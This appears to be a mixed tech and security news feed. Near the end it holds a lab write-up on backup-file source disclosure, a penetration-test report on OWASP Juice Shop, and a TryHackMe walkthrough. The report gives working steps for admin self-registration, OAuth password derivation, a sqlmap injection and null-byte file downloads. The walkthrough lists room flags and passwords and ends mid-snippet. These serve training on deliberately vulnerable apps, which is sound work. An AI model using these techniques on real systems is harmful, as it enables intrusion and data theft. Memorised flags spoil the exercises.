A real three-day blackout revealed problems I never would've found on a power station's spec sheet.


Android Update: Neue Google-App startet, neuer Android Auto-Medienplayer, großes Backup-Update und mehr
Fri, 17 Jul 2026 15:01:48 +0200

Wir haben das Bergfest des Juli hinter uns gelassen und können auf eine weitere starke Android-Woche zurückblicken: Google hat eine interessante neue App veröffentlicht, der Android Auto Medienplayer erhält neue Buttons, es gibt ein Update für Snapseed und viele Änderungen rund um das Android-Backup. In unserem wöchentlichen Android Update fassen wir alle aktuellen Entwicklungen noch einmal schnell und übersichtlich zusammen.
Mehr lesen: Android Update: Neue Google-App startet, neuer Android Auto-Medienplayer, großes Backup-Update und mehr


Keine Google-News mehr verpassen: GoogleWatchBlog bei Google News abonnieren


Der Beitrag Android Update: Neue Google-App startet, neuer Android Auto-Medienplayer, großes Backup-Update und mehr erschien zuerst auf GoogleWatchBlog.


Silo Season 3 Episode 4 Release Date, Time, and What to Expect
Fri, 17 Jul 2026 14:10:37 +0200
Silo Season 3 Episode 4 will arrive on Apple TV on Friday, July 24, 2026. The next chapter will continue Juliette Nichols’ fight to recover her memories while the Before Times storyline reveals more about the events that led to the creation of the silos.



Season 3 began on July 3 and follows a weekly Friday release schedule. The ten-episode season will run through September 4, 2026.



Silo Season 3 Episode 4 release details




Release date: Friday, July 24, 2026



Release time: 12 a.m. PT and 3 a.m. ET



India release time: Around 12:30 p.m. IST



Streaming platform: Apple TV



Genre: Science fiction, dystopian drama and mystery



Expected duration: Around 45 to 60 minutes



Season episode count: 10 episodes



Season finale: September 4, 2026



Main cast: Rebecca Ferguson, Common, Harriet Walter, Chinaza Uche, Avi Nash, Alexandria Riley, Shane McRae and Remmie Milner




Ashley Zukerman, Jessica Henwick, Laura Innes, Jessica Brown Findlay, Morven Christie, Reed Birney, Matt Craven and Colin Hanks are among the major additions to the Season 3 cast. Steve Zahn also returns after playing Solo in Season 2.



What happened before Episode 4?



Spoilers ahead for Silo Season 3 Episodes 1 to 3.



Season 3 follows two connected timelines. Inside Silo 18, Juliette has returned after surviving her journey outside, but her damaged memories have left her vulnerable. Camille Sims and Nurse Amy have been using memory-altering drugs as part of a wider attempt to control her and weaken any resistance inside the silo.



Juliette gradually learns that other residents have also lost parts of their memories. Patrick Kennedy tells her about the drugs being used to make people forget, while Juliette continues searching for Lukas Kyle and the truth hidden from her.



Meanwhile, the Before Times storyline follows journalist Helen Drew and pilot Charlotte Keene. Helen investigates secret memory-erasure experiments connected to Dr. Crnkovich, while Charlotte begins recovering memories of a suspicious military operation. Their story appears closely tied to the political crisis and possible attack that eventually forced humanity underground.



What to expect from Silo Season 3 Episode 4



Episode 4 will likely push Juliette closer to discovering who altered her memories and why the Algorithm considers her dangerous. Her growing resistance to the medication also puts Camille, Sims and Nurse Amy under pressure, since they can no longer assume that Juliette will remain confused or obedient.



Patrick’s information about the forgetfulness drugs may help Juliette identify more people who were secretly controlled. Lukas could also return to the main storyline, especially because his knowledge of the Legacy and Salvador Quinn’s message makes him important to understanding the silos.



The Before Times plot should continue exploring Helen’s investigation and Charlotte’s recovered memories. Charlotte’s mission may reveal who planned the disaster, what the strange substance was and whether powerful officials helped create the conditions that led to the silo project.



As both timelines develop, Episode 4 should make the connection between Juliette’s present-day struggle and the original architects of the silo system much clearer.



Silo Season 3 Episode 4 streams on Apple TV on July 24. What do you think Juliette will remember next, and how deeply is Camille involved in the plan to control Silo 18? Let us know in the comments.


How ‘Agent Kim Reactivated’ used AI to Create So Ji-sub’s Backstory
Fri, 17 Jul 2026 13:55:51 +0200
SBS drama Agent Kim Reactivated has drawn attention after using artificial intelligence to create a nearly three-minute sequence that explores Manager Kim's past. 



The story follows the character played by So Ji-sub during a secret mission in North Korea, giving viewers a look at his earlier life through AI-generated scenes instead of traditional filming. The sequence appeared across the drama's first two episodes and stands out as one of the longest AI-generated story segments used in a Korean drama.



The production relied on AICRON, an AI platform developed by Korean visual effects specialists. The sequence includes large-scale explosions, snow-covered car chases, tunnel pursuits, vehicle crashes, underwater recovery operations, gunfights, hand-to-hand combat, and close-up character shots while keeping the characters visually consistent from beginning to end.



AI helps bring Manager Kim's story to life



At an SBS Drama media event, Studio S CEO Hong Sung-chang explained why the company invested heavily in AI for upcoming productions.




"We have incorporated AI extensively into upcoming productions. Viewers will be informed through on-screen captions whenever AI is used. Reducing production costs is certainly one advantage, but the greater significance lies in proving that it can be done. I believe audiences will come to appreciate it even more over time."




The AI work was completed by Morpheus Studio under the supervision of vice president Ryu Jae-hwan, whose previous film credits include 1947 Boston, Swing Kids, and Flu.




"We completed an entire story sequence essential to the narrative using AI. Manager Kim was conceived from the planning stage with a clear purpose for incorporating AI. It demonstrates the potential for AI to become a new production tool that brings creators' imagination to life," Ryu said.




Morpheus Studio also highlighted that the complete sequence was produced using the Korean-developed AICRON platform, calling it an important milestone for domestic AI technology. The company said this experience will help expand the platform for wider commercial use, showing how AI can support ambitious storytelling while reducing the need for expensive overseas shoots, large sets, practical effects, and heavy visual effects work.


The Cyber Express Weekly Roundup: TikTok Age Verification Probe, Healthcare Data Breach, Qantas Ruling, and Major Cyberattacks
Fri, 17 Jul 2026 13:54:28 +0200
This week’s cybersecurity roundup highlights growing concerns around online child safety, healthcare data protection, supply chain risks, and cyber threats affecting organizations worldwide. From regulatory scrutiny of digital platforms to large-scale vulnerabilities and operational disruptions, recent incidents show how cyber risks continue expanding across industries. 

The key theme in this weekly roundup is the increasing pressure on organizations to strengthen security, improve data protection measures, and adapt to rapidly changing threat environments. Regulators, businesses, and cybersecurity teams are facing challenges ranging from social engineering attacks and malware incidents to vulnerabilities affecting widely used enterprise technologies. 
The Cyber Express Weekly Roundup 
UK Investigates TikTok Age Verification Compliance 
The UK communications regulator Ofcom has launched an investigation into TikTok’s age verification system, examining whether the platform is meeting its child safety obligations under the Online Safety Act. The probe comes as the UK government prepares stricter social media restrictions for users under 16, with enhanced age assurance requirements expected to take effect by Spring 2027. Read more… 
Partnered Health Cyberattack Exposes Australian Patient Data 
Healthcare provider Partnered Health has suffered a cyberattack that exposed sensitive patient information from 21 clinics across Australia. The compromised data reportedly includes personal details, Medicare information, health insurance records, and medical documents. Authorities and the company continue investigating the incident to determine the full scope of the breach and whether additional information was affected. Read more… 
Qantas Data Breach Cleared After Privacy Review 
Australia’s privacy regulator has concluded its review of the 2025 Qantas data breach, finding no evidence that the airline failed to take reasonable measures to protect customer information. The incident affected approximately 5.67 million records after attackers used social engineering techniques to compromise a contact center employee. Read more… 
Nichirei Cyberattack Disrupts KFC Japan Supply Chain 
Japanese frozen food and logistics company Nichirei experienced a cyberattack that disrupted deliveries to KFC Japan after unauthorized access impacted its systems. The company isolated affected infrastructure, suspended certain logistics operations, and began recovery efforts with external cybersecurity specialists while investigating the incident. Read more… 
Microsoft Patch Tuesday Addresses 622 Security Flaws 
Microsoft’s July 2026 Patch Tuesday update fixed 622 vulnerabilities across its product ecosystem, making it the company’s largest security release to date. The update included patches for two actively exploited zero-day vulnerabilities, CVE-2026-56164 and CVE-2026-56155, affecting Microsoft SharePoint Server and Active Directory Federation Services. Read more… 
Nihon Kotsu Cyberattack Disrupts Japan Taxi Operations 
Japan’s largest taxi operator, Nihon Kotsu, suffered a malware-related cyberattack that forced the company to shut down parts of its IT infrastructure. The incident, detected on July 11, 2026, affected taxi dispatch services and internal systems as the company worked to contain the attack and investigate potential data exposure. Read more… 
Weekly Cybersecurity Takeaway 
This week’s cybersecurity developments highlight the growing complexity of modern cyber threats, with attacks and security challenges affecting technology platforms, healthcare providers, logistics companies, transportation services, and enterprise software environments. From regulatory action on digital safety to actively exploited vulnerabilities and supply chain disruptions, organizations are facing increased pressure to strengthen resilience and respond faster to emerging risks. 


Cyberattack Disrupts Operations of Japanese Frozen Food Giant Nichirei
Fri, 17 Jul 2026 11:56:06 +0200
The company disconnected its systems on July 13 and is starting to gradually restore operations. The post Cyberattack Disrupts Operations of Japanese Frozen Food Giant Nichirei appeared first on SecurityWeek. This article has been indexed from SecurityWeek Read the original…
Read more →
The post Cyberattack Disrupts Operations of Japanese Frozen Food Giant Nichirei appeared first on IT Security News.


Spirals Attackers Disable Windows Defender and Kill Backup Services Before Encrypting Systems
Fri, 17 Jul 2026 11:55:54 +0200
A newly identified ransomware family, Spirals, was used in a double-extortion attack against an IT services company in South Asia in June 2026. Researchers from Symantec’s Threat Hunter Team said the Rust-based malware was deployed less than 24 hours after attackers gained access to the victim’s network. The operation began with the compromise of an […]
The post Spirals Attackers Disable Windows Defender and Kill Backup Services Before Encrypting Systems appeared first on Cyber Security News.


GRAU DATA stellt Sicherheitscheck für Windows-Repositories vor
Fri, 17 Jul 2026 11:37:59 +0200

    Der Softwarehersteller GRAU DATA führt den Repository Security Check für Windows ein, um Sicherheitslücken in Backup-Speichern zu identifizieren.

Tags: #Cyber Security | #Grau Data


5 steps to secure your infrastructure in the frontier model era
Fri, 17 Jul 2026 11:09:42 +0200

		
					  
						




The industry conversation around AI infrastructure has narrowed to a single dimension: scale. The focus is on GPUs, power, cooling and the massive physical footprint required to train and run AI agents and models. At the same time, organizations are adjusting to the speed and scale with which AI is identifying vulnerabilities — which is much faster than remediation can be started.



However, almost no one is talking about the infrastructure layer that actually determines whether AI workloads remain secure, resilient and compliant. This is the layer that runs the world’s most sensitive, regulated, high‑value workloads. Thankfully, it already has the guardrails needed for an era where vulnerabilities are discovered faster than ever. But are they being set correctly?



With more than one billion AI agents expected by 2029, organizations need a plan for their infrastructure layer to withstand threats from new frontier models, maintain uptime and protect data sovereignty. As they scale AI deployments, enterprises must secure the infrastructure AI depends on.



These five steps outline what organizations can do now to strengthen their infrastructure posture using proven, enterprise‑grade practices for current and future threats.



Step 1: Build on infrastructure engineered for security and resilience



Infrastructure must be secure by design, not secured after deployment. The systems that have historically supported the world’s most critical workloads — from global payments to national‑scale operations — were built with this principle at their core. If you’ve already invested in systems designed for mission-critical workloads, you’ve checked this first box.



Enterprise‑grade systems have been engineered with multilayered security controls, pervasive encryption, confidential computing and hardware‑level protections that make exploitation dramatically harder. A frontier model in the hands of a bad actor can chain weaknesses faster than humans can patch them — unless the underlying infrastructure is built to absorb and deflect that pressure.



When I meet with clients, I often tell them what our own security teams operate under: we assume vulnerabilities will continue to be discovered and we design for that reality. That mindset is what separates infrastructure that survives frontier‑model pressure from infrastructure that collapses under it. These systems continue to evolve with predictive failure analysis and accelerated recovery, allowing systems to continue operating even during investigation and remediation.



Step 2: Treat uptime and resilience as a security requirement



If your infrastructure fails, your workloads will too. These systems depend on uninterrupted access to data and compute, and even seconds of downtime can compound operational and security risk. Enterprise‑grade platforms deliver near‑continuous availability through redundant hardware paths and intelligent system recovery.



The easiest fix? Ample resources and an up-to-date infrastructure foundation. Too often, a security problem is really an availability problem that turned into a security problem. When systems fall behind on maintenance, capacity or recovery readiness, they create the exact openings a frontier model can exploit. A delayed maintenance cycle or a recovery process that takes too long becomes the opening a frontier model can exploit. Resilience is not just about uptime. It is a security control. And this will not be the last time a frontier model tests the limits of that resilience.



Data resilience is equally critical. Cyber‑resilient storage systems with immutable backups and rapid recovery capabilities ensure that critical data remains protected and available even after a cyber incident or disaster.



Step 3: Operate for continuous discovery, not periodic defense



The idea that you can prevent every vulnerability is outdated. The more realistic model is continuous discovery — finding, prioritizing and addressing issues faster than they can be exploited. Organizations must operate as if vulnerabilities will be found faster than ever.  Instead of relying on static defenses, they should emphasize layered controls, rapid triage, continuous delivery of fixes and coordinated disclosure.



Frontier models in the hands of bad actors can amplify security challenges by connecting vulnerabilities. They can chain misconfigurations, outdated components and privilege gaps into a viable attack route in minutes. And the more outdated or inconsistent an environment is, the easier that chaining becomes.



Modern operational‑intelligence tooling helps them surface that risk, prioritize what matters and act before an attacker can exploit the gaps. These platforms help organizations understand where they are exposed, identify which maintenance issues carry the highest operational and security risk, and reduce the blind spots that frontier‑model attackers are increasingly adept at exploiting.



It’s critical to assess how you manage your vulnerabilities. Internal processes should address severe vulnerabilities within hours, regardless of whether they are discovered by humans, traditional tooling or AI‑driven techniques. As AI accelerates vulnerability chaining, this posture maintains operational integrity and reduces exposure.



Step 4: Use AI to defend AI



Leading organizations are integrating AI‑driven threat detection directly into their infrastructure. On operating systems like z/OS, AI‑based analytics can identify anomalous and potentially malicious data access, reducing investigation time and limiting impact.



Beyond detection, autonomous security models are emerging that continuously govern risk, investigate threats and enforce resilience across identities, data, applications, cloud and networks. Across the industry, we’re seeing the rise of autonomous security frameworks that use AI to assess posture, detect threats and harden controls without waiting for human intervention. Combined with modern AI‑accelerated processors, these capabilities allow threats to be analyzed and mitigated directly within the infrastructure itself.



Step 5: Join a broader ecosystem fighting frontier model threats



No organization can face frontier model threats alone. These risks require coordinated industry action. Frontier models give both good and bad actors the ability to analyze codebases, chain vulnerabilities and probe infrastructure at a scale that no single enterprise can counter on its own.



Across the industry, coalitions are emerging to assess and remediate vulnerabilities discovered by frontier-class models and to help enterprises build AI resilience. Initiatives like Project Glasswing, Project QuiltWorks and the Frontier AI Alliance are examples of how providers, consultancies and security firms are beginning to coordinate their response to AI-accelerated threats.



Organizations can also benefit from independent assessments that evaluate readiness for agentic-enabled threats and identify gaps across their infrastructure. These assessments help teams understand where they are exposed, how frontier models might chain those exposures together, and what actions will reduce the likelihood of a high-impact event.



Participating in these programs is one of the most concrete steps enterprises can take today to strengthen their AI infrastructure posture.



Your AI security depends on the infrastructure you choose



AI is accelerating both innovation and risk. The organizations that succeed will be those that build on resilient, secure infrastructure, prioritize uptime as a security control, operate with continuous discovery, use AI to defend AI and participate in the global response to frontier‑model threats. In the end, your ability to scale AI safely comes down to the infrastructure you trust to run it.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Cyberattack Disrupts Operations of Japanese Frozen Food Giant Nichirei
Fri, 17 Jul 2026 11:09:36 +0200
The company disconnected its systems on July 13 and is starting to gradually restore operations.
The post Cyberattack Disrupts Operations of Japanese Frozen Food Giant Nichirei appeared first on SecurityWeek.


Neue Windows-Features: Verpassen Sie jetzt nicht diese 5 Highlights
Fri, 17 Jul 2026 11:03:15 +0200





Windows 11 hat im Juli 2026 so viele Neuerungen und Sicherheits-Updates bekommen, dass man leicht die spannendsten übersieht. Hier sind die fünf wichtigsten neuen Windows-11-Features, die Sie ausprobieren sollten.



Wichtiger Hinweis: Sobald Sie das Microsoft-Juli-2026-Patchday-Update heruntergeladen haben, befinden sich alle Neuerungen grundsätzlich auf Ihrem Rechner. Allerdings schaltet Microsoft diese neuen Funktionen nach und nach frei, um seine Server nicht zu überlasten und um sicherzugehen, dass neue Features nicht alle Rechner beschädigen, falls es unerwartete Probleme geben sollte. Die US-amerikanische IT-Nachrichtenseite Windowslatest konnte aber bereits alle Neuerungen ausprobieren.



Widgets-Board verbessert



Das Widgets-Board fährt bei einem Mouse-over über das Widget-Icon in der Taskleiste nicht mehr komplett aus. Zudem hat Microsoft das ganze Widget-Dashboard aufgeräumt. Es sollte den Benutzer jetzt nicht mehr mit zu vielen Informationen erschlagen, sondern sich deutlich übersichtlicher präsentieren. Benachrichtigungen und Symbole zeigt die Taskleiste minimiert.



Kalenderfunktion zum Verschieben von Windows-Updates



Sie können Windows-Updates jetzt bequem über eine neue Kalenderfunktion verschieben. Doch aufgepasst: Microsoft rät ausdrücklich davon ab, Windows-Update zu lange zu verschieben.



Zeitpunktwiederherstellung



Mit der neuen Zeitpunktwiederherstellung (Point-in-Time Restore, PITR) lassen sich automatisch Wiederherstellungspunkte für Ihr Windows-System, alle Anwendungen, Ihre Einstellungen und Ihre Dateien erstellen. Sie können dann bei Windows-Problemen jederzeit zu einem solchen Wiederherstellungspunkt aus den letzten 72 Stunden zurückkehren. Die Zeitpunktwiederherstellung stellt sogar lokale Dateien und eben auch Anwendungen wieder her.



Übrigens: Sollten Sie Windows 11 Home im Einsatz haben, dann entgehen Ihnen die vielen Vorteile der Pro-Version, die wir Ihnen hier vorstellen. Im PC-WELT Software-Shop ist das Windows-11-Upgrade für günstige 59,99 Euro statt 145 Euro erhältlich.



Bildschirmtönung



Eine neue Bildschirmtönung (“Screen Tint”) soll Ihre Augen entlasten. Dazu legt Windows eine Farbüberlagerung über Ihren ganzen Bildschirm. Im Gegensatz zum bereits lange verfügbaren „Night Light“, das lediglich die Farbtemperatur etwas wärmer oder kühler einstellt, können Sie bei der Bildschirmtönung sowohl die Farbe als auch die Intensität des Effekts selbst bestimmen.



Bluetooth runderneuert



Bluetooth sollte nach dem Juli-Update wie neu wirken. Microsoft beseitigt nicht nur einige Probleme mit bisherigen Bluetooth-Verbindungen, sondern hat mit Shared Audio auch ein vollkommen neues Feature zum gemeinsamen Hören von Musik oder Hörbüchern gestartet. Eigens dafür hat Microsoft sogar eine Flugzeugkabine nachgebaut.




release-publish/ced50f88e928-20260717
Fri, 17 Jul 2026 11:02:05 +0200
OpenClaw detached release child recovery ced50f8


WhatsApp plant eigenen Cloud-Speicher für iPhone-Nutzer
Fri, 17 Jul 2026 09:33:30 +0200
WhatsApp arbeitet seit geraumer Zeit an einer eigenen Backup-Lösung, die jetzt auch zu iOS kommen soll. Nutzer sollen Chats, Fotos und Videos künftig direkt beim Messenger sichern können – zunächst mit 2 Gigabyte Gratis-Speicher.


Lab 3 : Source code disclosure via backup files
Fri, 17 Jul 2026 09:23:39 +0200
Lab Objective
The goal of this lab is to locate leaked backup files and extract a hard-coded database password from the disclosed source code.
Step-by-Step Solution
1. Check robots.txt for hidden paths
robots.txt is designed to tell search engine crawlers which paths not to index :
/robots.txt
revealed a disallowed /backup directory.
2. Enumerate the backup directory
Browsing directly to /backup surfaced a file named:
ProductTemplate.java.bak
3. Retrieve and read the leaked source file
Navigating to:
/backup/ProductTemplate.java.bak
4. Extract the hard-coded credential
Reading through the disclosed source, the database connection logic contained a hard-coded password used to authenticate against a Postgres database.
5. Submit the solution
I copied the password value, returned to the lab, clicked Submit solution, and entered it. The lab was marked as solved.
Written by Zeyad Naguib,
🔗 https://www.linkedin.com/in/zeyadnageeb
✍️ https://medium.com/@zeyadnaguib1
Lab 3 : Source code disclosure via backup files was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.


VAPT Report Example
Fri, 17 Jul 2026 09:09:42 +0200
This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.
Setup OWASP Juice Shop Locally Using Docker
Install Docker
Run:
docker pull bkimminich/juice-shop
docker run - rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop
Browse to:
 http://localhost:3000
1. Privilege Escalation via User Registration API
Summary (with CWE)
The application allows an attacker to self-register an administrator account by directly invoking the user creation API and supplying the role parameter in the request body. Due to missing server-side authorization and role validation, the backend blindly trusts client input. This results in unauthorized privilege escalation, granting full administrative access without authentication or approval.
CWE ID
CWE-269 — Improper Privilege Management
CWE-285 — Improper Authorization
Severity (CVSS v3.1)
CVSS Vector:
 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Metrics:
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: High
CVSS Base Score: 9.8 (Critical)
Description
OWASP Juice Shop exposes a user registration API endpoint (/api/Users) that accepts user details in JSON format. The backend fails to enforce role based access control during user creation and allows the client to specify sensitive attributes such as role. An attacker can exploit this flaw by sending a crafted POST request with "role":"admin", resulting in the creation of an administrator account without any authorization checks.
This vulnerability completely compromises the application, as administrative privileges allow full access to sensitive data and management functions.
Steps to Reproduce
Send a POST request to: http://localhost:3000/api/Users
Edit request body and add role parameter: { "role": "admin" }
Submit the request using Burp Suite.
The server responds with a successful user creation message.
Log in using the created credentials.
Suggested Remediation
Enforce server-side role control
Default role assignment
Allow admin role assignment only through authenticated admin workflows
Validate permissions on every sensitive endpoint
References
OWASP Top 10 — Broken Access Control
CWE-269: Improper Privilege Management
CWE-285: Improper Authorization
OWASP Juice Shop Project
2. OAuth Account Takeover
Summary (with CWE)
OWASP Juice Shop implements Google OAuth login in an insecure manner by deterministically generating user passwords on the client side. The password is derived by reversing the user’s email address and Base64-encoding it, which can be easily reproduced by an attacker.
This design flaw allows an attacker to log in directly using email/password authentication for an OAuth-registered user, resulting in full account takeover without cracking hashes or bypassing authentication controls.
CWE ID
CWE-522 — Insufficiently Protected Credentials
CWE-287 — Improper Authentication
CWE-284 — Improper Access Control
Severity (CVSS v3.1)
CVSS Vector:
 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Metrics
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: None
CVSS Base Score: 9.1 (Critical)
Description
OWASP Juice Shop allows users to register and log in via Google OAuth. During this process, the application uses a client-side JavaScript function userService.oauthLogin() found in main.js.
The OAuth workflow internally calls:
userService.save() (user creation)
userService.login() (standard login)
Both functions set the user password using the following logic:
password = btoa(n.email.split("").reverse().join(""))
Password Generation Logic
The email address is reversed.
The reversed string is Base64-encoded.
The result is used as the account password.
Steps to Reproduce:
Identify OAuth Password Logic
Open main.js
Search for oauthLogin
Locate: password: btoa(n.email.split("").reverse().join(""))
Derive Victim Password
Email: bjoern@gmail.com
 Reversed: moc.liamg@nreojb
 Base64 encoded password:
bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=
Suggested Remediation
Never generate passwords client-side
Separate OAuth and password authentication
Use strong, random credentials
Do not expose authentication logic
Perform security design reviews
References
OWASP Top 10 — Broken Authentication
CWE-522 — Insufficiently Protected Credentials
OAuth 2.0 Security Best Practices (RFC 8252)
OWASP Juice Shop Project
3. SQL Injection in Product Search Endpoint
Summary (with CWE)
An SQL Injection (SQLi) vulnerability was identified in the product search functionality of OWASP Juice Shop. The application fails to properly sanitize user-controlled input in the q parameter, allowing attackers to inject malicious SQL queries.
This flaw enables unauthorized database access, including enumeration of database tables and potential exposure of sensitive data.
CWE ID
CWE-89 — Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)
Severity (CVSS v3.1)
CVSS Vector:
 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Metrics
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: None
CVSS Base Score: 9.1 (Critical)
Description
The /rest/products/search API endpoint accepts user input via the q parameter to search for products. This input is directly incorporated into backend SQL queries without sufficient sanitization or parameterization.
An attacker can exploit this weakness to inject arbitrary SQL commands, allowing enumeration of database schema and extraction of sensitive information. Automated tools such as sqlmap can successfully detect and exploit this vulnerability, confirming the presence of SQL injection.
This issue represents a complete breakdown of input validation and secure query handling, posing a serious risk to application confidentiality and integrity.
Exploit Using sqlmap
sqlmap -u "http://localhost:3000/rest/products/search?q=apple" --tables
Got User credentials :)
Suggested Remediation
Sanitize and validate all user-supplied inputs
Implement parameterized queries
Deploy a Web Application Firewall (WAF)
Enable logging & monitoring
References
OWASP SQL Injection Prevention Cheat Sheet
CWE-89 — SQL Injection
OWASP Juice Shop Documentation
CVSS v3.1 Specification: https://www.first.org/cvss/v3.1/
4. Arbitrary File Download via Poison Null Byte Injection
Summary (with CWE)
The application is vulnerable to Poison Null Byte Injection, allowing an attacker to bypass file extension validation and download sensitive backup files stored on the server. By exploiting improper input validation and unsafe file handling, restricted backup files such as developer and salesman data can be accessed.
CWE ID
CWE-158 — Improper Neutralization of Null Byte
CWE-22 — Improper Limitation of Pathname to Restricted Directory
Severity (CVSS v3.1)
CVSS Vector:
 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS Base Score: 7.5 (High)
Description
OWASP Juice Shop restricts file downloads in the /ftp endpoint by validating file extensions. However, this validation can be bypassed using a Poison Null Byte (%00) injection combined with double URL encoding.
The backend improperly handles null bytes during file system access, causing the application to truncate the filename at the null byte and serve restricted backup files (e.g., .bak) while still passing extension validation checks.
This results in unauthorized access to sensitive backup files, potentially exposing configuration details, credentials, or business data.
Steps to Reproduce:
Access a Developer’s Forgotten Backup File:
Navigate to the FTP directory: http://localhost:3000/ftp
Attempt direct access (fails due to extension restriction): http://localhost:3000/ftp/package.json.bak
Try Poison Null Byte injection (fails initially): http://localhost:3000/ftp/package.json.bak%00.md
URL-encode the % character as well: http://localhost:3000/ftp/package.json.bak%2500.md
The server successfully returns the restricted backup file, completing the exploit.
Access a Salesman’s Forgotten Backup File:
Use the same Poison Null Byte technique: http://localhost:3000/ftp/coupons_2013.md.bak%2500.md
The backup file downloads successfully, revealing sensitive business data.
Backup file downloads successfully.
Suggested Remediation
Reject null bytes explicitly
Decode input before validation
Use allow-listed file access
Disable public access to backups
Use secure file APIs
References
OWASP Foundation — OWASP Juice Shop
CWE-158: Improper Neutralization of Null Byte
OWASP Testing Guide — File Handling Vulnerabilities
PortSwigger — File Path Traversal & Null Byte Attacks
Thanks For Reading :)
Happy Hacking ;)
VAPT Report Example was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.


TryHackMe — Linux Agency | Complete Write-Up & Walkthrough
Fri, 17 Jul 2026 09:09:38 +0200
“Agent 47, your mission begins. 30 targets stand between you and the root.”
Author: Shikhali Jamalzade
GitHub: github.com/alisalive
LinkedIn: linkedin.com/in/camalzads
📋 Room Overview
Platform TryHackMe 
Room Name Linux Agency 
Link https://tryhackme.com/room/linuxagency 
Difficulty Medium 
Category Linux Fundamentals + Privilege Escalation 
Initial Access SSH (agent47)
🎯 About This Room
Linux Agency is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of Agent 47 — a secret agent tasked with infiltrating the ICA Agency, chaining through 30 mission accounts, eliminating special targets, and ultimately achieving root.
This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:
🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)
💻 Multiple programming languages (Python, Ruby, Java, C)
🔐 Encoding/decoding (Base64, Binary, Hex)
📅 Cron job exploitation
⚡ Sudo privilege escalation via GTFOBins
🐳 Docker privilege escalation
🔑 SSH private key cracking
🛠️ Tools Used
ssh, su, find, grep, cat, ls, strings, file
base64, xxd
gcc, javac, java, python3, ruby
netcat (nc)
ssh2john + john (John the Ripper)
ss (socket statistics)
GTFOBins
Docker
⚙️ Setup
Start the machine on TryHackMe and wait about a minute. Then connect:
ssh agent47@
Password: 640509040147
Once connected you’ll see:
agent47@linuxagency:~$
The mission begins. 🚀
🗂️ Task 2: Initial Access
The room’s mechanic is straightforward:
Every flag found acts as the password for the next user
Flag format: missionX{md5_hash}
Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...
🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)
🎯 Mission 1
As agent47, the first task is finding mission1’s flag.
find / -type f -name "*.txt" 2>/dev/null
# Or directly check:
ls /home/mission1/
cat /home/mission1/
Now switch to mission1:
su mission1
# Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}
💡 What we learned: find for filesystem-wide searching, understanding the /home directory structure.
🎯 Mission 2
As mission1:
find / -type f -name "mission2" 2>/dev/null
cat 
su mission2
# Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}
🎯 Mission 3
# As mission2:
grep -r "mission3" . 2>/dev/null
su mission3
# Password: mission3{ab1e1ae5cba688340825103f70b0f976}
💡 What we learned: grep -r for recursive content searching across directories.
🎯 Mission 4
# As mission3:
cd /home/mission3
ls
cat flag.txt
su mission4
# Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}
🎯 Missions 5–8
These follow a similar pattern — searching the filesystem:
# As mission4:
grep -r "mission5" / 2>/dev/null
su mission5
# Password: mission5{bc67906710c3a376bcc7bd25978f62c0}
# As mission5:
grep -r "mission6" / 2>/dev/null
su mission6
# Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}
# As mission6:
grep -r "mission7" / 2>/dev/null
su mission7
# Password: mission7{53fd6b2bad6e85519c7403267225def5}
# As mission7:
grep -r "mission8" / 2>/dev/null
su mission8
# Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}
🎯 Mission 9
# As mission8:
ls
cat flag.txt
su mission9
# Password: mission9{ba1069363d182e1c114bef7521c898f5}
🎯 Missions 10–11
# As mission9:
grep -r "mission10" / 2>/dev/null
su mission10
# Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}
# As mission10:
grep -r "mission11" / 2>/dev/null
su mission11
# Password: mission11{db074d9b68f06246944b991d433180c0}
🎯 Mission 12 — Environment Variable
This time the flag is hidden inside an environment variable, not a file!
# As mission11:
env | grep mission12
su mission12
# Password: mission12{f449a1d33d6edc327354635967f9a720}
💡 What we learned: The env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!
🎯 Mission 13 — File Permissions
# As mission12:
ls -la /home/mission12/
# flag.txt exists but you have no read permission!
chmod 777 /home/mission12/flag.txt
cat /home/mission12/flag.txt
su mission13
# Password: mission13{076124e360406b4c98ecefddd13ddb1f}
💡 What we learned: Linux file permissions and chmod. Always use ls -la — the -a flag reveals hidden files and the -l flag shows permissions clearly.
🎯 Mission 14 — Base64 Decode
# As mission13:
cat /home/mission13/flag.txt | base64 -d
su mission14
# Password: mission14{d598de95639514b9941507617b9e54d2}
💡 What we learned: Base64 encoding/decoding. Strings ending with = or == are almost always Base64-encoded. The base64 -d flag decodes them directly in the terminal.
🎯 Mission 15 — Binary → ASCII
# As mission14:
cat /home/mission14/flag.txt
# You'll see binary digits: 01101101 01101001 ...
Convert the binary to ASCII using Python:
python3 -c "
binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'
chars = binary.split()
